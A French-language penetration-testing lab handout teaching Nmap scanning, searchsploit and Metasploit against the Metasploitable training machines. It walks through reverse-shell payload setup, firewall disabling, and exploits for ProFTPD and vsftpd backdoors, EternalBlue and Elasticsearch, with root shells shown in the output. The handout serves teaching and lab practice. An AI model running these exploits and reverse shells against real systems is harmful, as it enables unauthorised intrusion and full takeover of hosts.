TP test d’intrusion

Reconnaissance avec Nmap et utilisation de Metasploit

Olivier LASNE - olivier@lasne.pro

2020-11-29

Introduction

Dans ce TP, nous allons voir comment utiliser Nmap pour découvrir services présents sur une machine, et récupérer leur version.

Nous verrons aussi comment vérifier si il existe un exploit pour la version utiliser, et comment exploiter une vulnérabilité avec le framework Metasploit.

Nmap

Nmap est un scanner réseau, il peut être utiliser à la fois pour découvrir les machines présentes sur un réseau, et pour lister les services (et leur version) d'une machine.

Nmap a de nombreuses options, nous ne les détaillerons pas toutes ici.

Scan basique

Si on lui donne une IP en paramètre, nmap va simplement effectuer un scan de port TCP, et lister les ports ouverts.

Exemple avec Metasploitable :

```
$ nmap 192.168.56.210
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 18:46 CET
Nmap scan report for vulnerable (192.168.56.210)
Host is up (0.00050s latency).
Not shown: 976 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
3389/tcp  open  ms-wbt-server
4848/tcp  open  appserv-http
7676/tcp  open  imqbrokerd
8009/tcp  open  ajp13
8022/tcp  open  oa-system
8031/tcp  open  unknown
8080/tcp  open  http-proxy
8181/tcp  open  intermapper
8383/tcp  open  m2mservices
8443/tcp  open  https-alt
```

```
9200/tcp  open  wap-wsp
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49161/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds
```

Découvrir les machines présentes sur un réseau

Ping scan

Pour découvrir rapidement les machines présentes sur le réseau, on peut faire simplement un ping scan :

```
nmap -sn 10.11.1.1-254
```

Top ports

Néanmoins, un certain nombre de machines sont configurés pour ne pas répondre aux ping. On peut choisir de scanner uniquement les ports les plus communs

```
nmap 10.11.1.1/24 -Pn --top-ports 10 --open -sS
```

-Pn : scan les ports même si la machine ne réponds pas aux pings.
--top-ports xx : scan uniquement les **xx** ports les plus communs.
--open : dans la sortie indique uniquement les ports ouverts.
-sS : **syn** scan, effectue seulement la 1ère partie du handshake TCP et est donc plus rapide. Peut-être également plus discret, mais est généralement détecté aujourd'hui.

Enregister les résultats

Nmap support 3 formats d'enregistrement

-oN : format texte classique. Identique à la sortie de la console.
-oG : *grepable nmap*, optimisé pour une recherche dans les résultats avec `grep`
-oX : format xml. Peut permettre de **reprendre un scan interrompu**, et l'importation des résultats dans certains outils comme **Metasploit**.

Scanner une machine

Une fois notre cible définie, on va chercher à avoir un maximum d'information.

Options communes

Avant d'attaquer une machine, on va généralement effectuer un **scan TCP complet** avec les options suivantes :

```
nmap -sV -sC -O -p- 192.168.56.210 -oN full.nmap
```

-p- va indiquer que l'on liste absolument tous les ports
-sV indique que l'on veut récupérer les informations de version
-sC indique que l'on lance les *scripts nmap* de récupération d'information qui n'ont pas d'effet de bord
-O signifie que nmap va essayer de détecter la version du système d'exploitation présent en face.
-oN écrit les résultats dans le fichier `full.nmap`

On réalise généralement un **1er scan de port** sans l'option `-p-` de façon à avoir uniquement les 1000 ports les plus fréquents. Et dans un second temps un scan avec tous les ports.

Scan UDP

Un scan UDP peut être (très) long. Néanmoins, il est généralement intéressant d'effectuer un scan au moins des ports les plus fréquents.

```
nmap -sU 192.168.56.210 -oN udp.nmap
```

Scripts Nmap

Nmap a la possibilité d'**exécuter des scripts**. Les scripts sont stockés dans le dossier **/usr/share/nmap/scripts**

Lister les scripts en lien avec SMB :

```
ls /usr/share/nmap/scripts | grep smb
```

On peut obtenir de l'**aide** sur un **script** de la façon suivante :

```
$ nmap --script-help=smb-os-discovery.nse
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-29 11:21 EST

smb-os-discovery
```

```
Categories: default discovery safe
https://nmap.org/nsedoc/scripts/smb-os-discovery.html
  Attempts to determine the operating system, computer name, domain, workgroup, and current
  time over the SMB protocol (ports 445 or 139).
  This is done by starting a session with the anonymous
  account (or with a proper user account, if one is given; it likely doesn't make
  a difference); in response to a session starting, the server will send back all this
  information.

  The following fields may be included in the output, depending on the
  circumstances (e.g. the workgroup name is mutually exclusive with domain and forest
  names) and the information available:
  * OS
  * Computer name
[...]
```

/ !\ Attention : par défaut un pare-feu filtre le SMB sur Metasploitable 3. On peut le désactiver avec la commande suivante :

```
netsh advfirewall set allprofile state off
```

Un **script nmap** est exécuté de la façon suivante :

```
$ nmap --script=smb-os-discovery.nse 192.168.56.210 -p139,445
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-14 18:53 CET
Nmap scan report for vulnerable (192.168.56.210)
Host is up (0.00033s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: metasploitable3-win2k8
|   NetBIOS computer name: METASPLOITABLE3\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-12-14T09:53:16-08:00

Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
```

Utilisation d'exploit

Dans le cadre d'un test d'intrusion, on va chercher à savoir s'il existe une vulnérabilité pour une des versions utilisées. À la fois sur des sites comme cvedetails.com, et directement sur des moteurs de recherche.

Dans notre cas, on va chercher directement à voir s'il existe **un exploit**. C'est à dire un script exploitant la vulnérabilité.

Exploit-DB

Le site de référence pour les exploits publiques est **exploit-db.com**.

On peut effecter des recherches directement sur l'interface web, mais il existe sous kali directement un outil en ligne de commande : **`searchsploit`**.

```
$ searchsploit vsftpd
--------------------------------------------- ----------------------
 Exploit Title                               |  Path
--------------------------------------------- ----------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote M | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Deni | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service              | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Me | unix/remote/17491.rb
--------------------------------------------- ----------------------
```

On peut utiliser l'option **`-u`** pour mettre à jour la base de données. `searchsploit -u`

L'option **`-x`** pour voir le détail d'un exploit. `searchsploit -x unix/remote/17491.rb`.

Et l'option **`-m`** pour en faire une copie dans le dossier courant. `searchsploit -m unix/remote/17491.rb`

Il n'y a pas d'unité sur la façon dont ces scripts sont écrits, et il est souvent nécessaire de les adapter.

Convertir un fichier au format CRLF

Il est parfois nécessaire de convertir les fichiers écrit sous Windows (convention CRLF). Pour cela on peut simplement utiliser l'outil `dos2unix`.

```
$ file 31819.pl
31819.pl: ASCII text, with CRLF line terminators

$ dos2unix 31819.pl
```

```
dos2unix: converting file 31819.pl to Unix format...

$ file 31819.pl
31819.pl: ASCII text
```

Metasploit

Metasploit est un **framework d'attaque**. Il intègre un nombre important d'**exploits** et de **payloads** et permet de les utiliser de façon unifiée.
Il intègre notamment des exploits très complexes comme ceux pour la vulnérabilité **MS17-010**.

Son intérêt réside aussi dans le shell **meterpreter** et les nombreux modules de **post-exploitation** qu'il intègre.

Démarrer la base de données

Metasploit utilise une base de données postgresql. Avant d'utiliser le framework il est nécessaire de démarrer la base de données avec la commande **`msfdb run`**.

L'état de la base de données peut être vérifiée avec `msfdb status`.

Msfconsole

On lance le framework avec la commande **`msfconsole`**.

```
$ msfconsole
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.0.17-dev                          ]
+ -- --=[ 2076 exploits - 1124 auxiliary - 352 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: You can use help to view all available commands

msf6 >
```

Pour obtenir de l'aide, il existe la commande `help`, ainsi que l'option `-h` les différentes commandes.

À noter que metasploit supporte aussi l'autocomplétion avec **Tab**.

Metasploit a 4 catégories de modules principaux :

- auxiliary
- exploits
- payloads
- post

Exploit : La collection d'exploit de Metasploit. Ils sont classés par architecture de la cible, et protocole.

Auxilary : Va contenir les scanners, fuzzeurs, sniffer, etc.

Payload, Encoders, Nops : Ensemble de charges malveillantes, et les encodeurs nécessaires pour qu'il atteignent leur destination intacts.

Post : Ensemble de modules qui aident à la phase de post-exploitation.

Rechercher un exploit / module

On peut utiliser la commande `search` pour chercher un module.

```
msf6 > search proftp

Matching Modules
================

   #  Name                                          Disclosure Date
      Rank       Check  Description
   -  ----                                          ---------------
      ----       -----  -----------
   0  exploit/freebsd/ftp/proftp_telnet_iac         2010-11-01
      great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer
      Overflow (FreeBSD)
   1  exploit/linux/ftp/proftp_sreplace             2006-11-26
      great      Yes    ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (
      Linux)
   2  exploit/linux/ftp/proftp_telnet_iac           2010-11-01
      great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer
      Overflow (Linux)
```

```
11    3  exploit/linux/misc/netsupport_manager_agent  2011-01-08
          average    No     NetSupport Manager Agent Remote Buffer Overflow
12    4  exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02
          excellent  No     ProFTPD-1.3.3c Backdoor Command Execution
13    5  exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22
          excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution
14    6  exploit/windows/ftp/proftp_banner            2009-08-25
          normal     No     ProFTP 2.9 Banner Remote Buffer Overflow
15
16
17  Interact with a module by name or index. For example info 6, use 6 or
       use exploit/windows/ftp/proftp_banner
```

Utiliser un module

Pour utiliser un module on utilise la commande `use`.

```
1  msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
2  msf6 exploit(unix/ftp/proftpd_133c_backdoor) >
```

Obtenir des infos

On utilise la commande `show info` pour obtenir des informations sur un module.

Pour lister les options d'un module, on utilise `show options`.

```
1  msf6 exploit(unix/ftp/proftpd_133c_backdoor) > options
2
3  Module options (exploit/unix/ftp/proftpd_133c_backdoor):
4
5     Name    Current Setting  Required  Description
6     ----    ---------------  --------  -----------
7     RHOSTS  192.168.3.173    yes       The target host(s), range CIDR
          identifier, or hosts file with syntax 'file:<path>'
8     RPORT   21               yes       The target port (TCP)
9
10
11 Exploit target:
12
13    Id  Name
14    --  ----
15    0   Automatic
```

Les principales options sont **RHOSTS** qui contient l'IP de la machine cible, et **RPORT** qui indique le port où tourne le service cible.

Les options se configurent avec la commande **`set`** :

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 192.168.3.173
RHOSTS => 192.168.3.173
```

Choix du payloads

Les **payloads compatibles** peuvent être listés avec la commande `show payloads`. Si compatible, on choisira généralement `windows/meterpreter/reverse_tcp`, `linux/x86/meterpreter/reverse_tcp` ou `linux/x64/meterpreter/reverse_tcp`.

Pour selectionner un payload, on utilisera de la même façon la commande `set`.

```
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/
    meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
```

Une fois le **payload** définit. Il est souvent nécessaire de le configurer en définissant **LHOST** (adresse à laquel le payload vient se connecter).

On le configure de la même manière que RHOSTS avec la commande **set**.

```
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.56.101
LHOST => 192.168.56.101
```

Une fois qu'un payload a été définit. Ses **options** appraissent également dans la sortie de la commande **`options`**.

```
msf6 exploit(windows/smb/ms17_010_psexec) > options
[...]

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '',
      seh, thread, process, none)
   LHOST     192.168.56.101   yes       The listen address (an
      interface may be specified)
   LPORT     4444             yes       The listen port
```

Executer un exploit

Sur les exploits qui le supportent, on peut utiliser la commande `check` pour vérifier si la cible est vulnérable.

```
msf6 exploit(windows/smb/ms17_010_psexec) > check

[*] 172.16.237.130:445 - Using auxiliary/scanner/smb/smb_ms17_010 as
    check
[-] 172.16.237.130:445    - Host does NOT appear vulnerable.
[*] 172.16.237.130:445    - Scanned 1 of 1 hosts (100% complete)
[*] 172.16.237.130:445 - Cannot reliably check exploitability.
```

Finalement, on utilise la commande `run` pour exécuter l'exploit.

```
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run

[*] Started reverse TCP double handler on 192.168.3.8:4444
[*] 192.168.3.173:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo Fcjmid852usWprlr;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Fcjmid852usWprlr\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.3.8:4444 ->
    192.168.3.173:42450) at 2021-01-25 15:55:09 +0100

id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
```

Améliorer son Shell

Lorsque l'on obtient un shell un peu minimaliste à travers un exploit. On peut utiliser la commande suivante pour avoir un shell un peu plus classe.

```
python -c "import pty;pty.spawn('/bin/bash')"
```

(Il est parfois nécessaire de préciser la version de python : `python2` ou `python3`).

Les sessions

Un shell ou **session** peuvt être mis en arrière plan avec la commande `background` ou le raccourci *Ctrl + Z*.

On peut lister les sessions avec la commande `sessions`.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 ->
     172.16.237.130:6200 (172.16.237.130)
```

On peut récupérer une session interactive avec la commande `session -i`.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1
[*] Starting interaction with 1...

whoami
root
```

Exercice :

1. Utiliser l'exploit **vsftpd** pour obtenir un shell sur Metasploitable
2. Utiliser un autre exploit pour obtenir un shell.

Exploitation de Metasploitable 3

Si vous avez installé vous même la machine :

Compte admin sur la machine : `vagrant:vagrant`

Le clavier est en qwerty.

Scan de ports

Comme toujours on commence par un scan de ports :

```
nmap -sV -sC 192.168.56.7 -oN nmap/inital.nmap

nmap -sV -sC -p- 192.168.56.7 -oA nmap/full.nmap
```

Eternal Blue

On a le port 445 qui est ouvert. On peut vérifier si la machine est vulnérable a **Eternal Blue (MS17-010)** avec un **script nmap**.

```
$ ls /usr/share/nmap/scripts | grep smb
...
smb-vuln-ms17-010.nse
...
```

La machine semble être vulnérable :

```
$ nmap --script=smb-vuln-ms17-010.nse -p 445 192.168.56.7
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-17 09:53 CET
Nmap scan report for 192.168.56.7
Host is up (0.00028s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds
```

On peut utiliser un exploit Metasploit pour exploiter la vulnérablitié.

Exploit windows/smb/ms17_010_psexec est noté Excellent, il est fiable mais nécessite un named pipe.

Or `smbmap` nous indique qu'il n'y a pas de pipe accessible :

```
$ smbmap -H 192.168.56.7
```

```
[+] IP: 192.168.56.7:445    Name: 192.168.56.7
```

On peut donc se rabattre sur `windows/smb/ms17_010_eternalblue`.

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         192.168.56.7     yes       The target host(s), range
      CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows
      domain to use for authentication
   SMBPass                         no        (Optional) The password
      for the specified username
   SMBUser                         no        (Optional) The username to
       authenticate as
   VERIFY_ARCH    true             yes       Check if remote
      architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches
       exploit Target.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '',
      seh, thread, process, none)
   LHOST     192.168.56.5     yes       The listen address (an
      interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs
```

Et on peut obtenir un shell avec la commande `exploit`. À noter que l'exploit n'est pas particulièrement fiable.

Elastic Search

En se connectant au port 9200, on peut identifier qu'il s'agit d'un elasticsearch en cherchant sur internet avec le

- build_hash
- lucene version

La version indiquée est la 1.1.1. Il est existe un exploit metasploit pour cette version.

```
msf6 exploit(multi/elasticsearch/script_mvel_rce) > use exploit/multi/elasticsearch/script_mvel_rce
[*] Using configured payload java/meterpreter/reverse_tcp
```

On prend soin de configurer les options correctement

```
msf6 exploit(multi/elasticsearch/script_mvel_rce) > options

Module options (exploit/multi/elasticsearch/script_mvel_rce):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS       192.168.56.7     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        9200             yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       The path to the ElasticSearch REST API
   VHOST                         no        HTTP server virtual host
   WritableDir  /tmp             yes       A directory where we can write files (only for *nix environments)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.5     yes       The listen address (an interface may be specified)
   LPORT  4785             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   ElasticSearch 1.1.1 / Automatic
```

La commande `run` va nous obtenir un shell sur la machine distante.

Exercice : Exploitez par vous-même la vulnérabilité sur : 1. Jenkins 2. Tomcat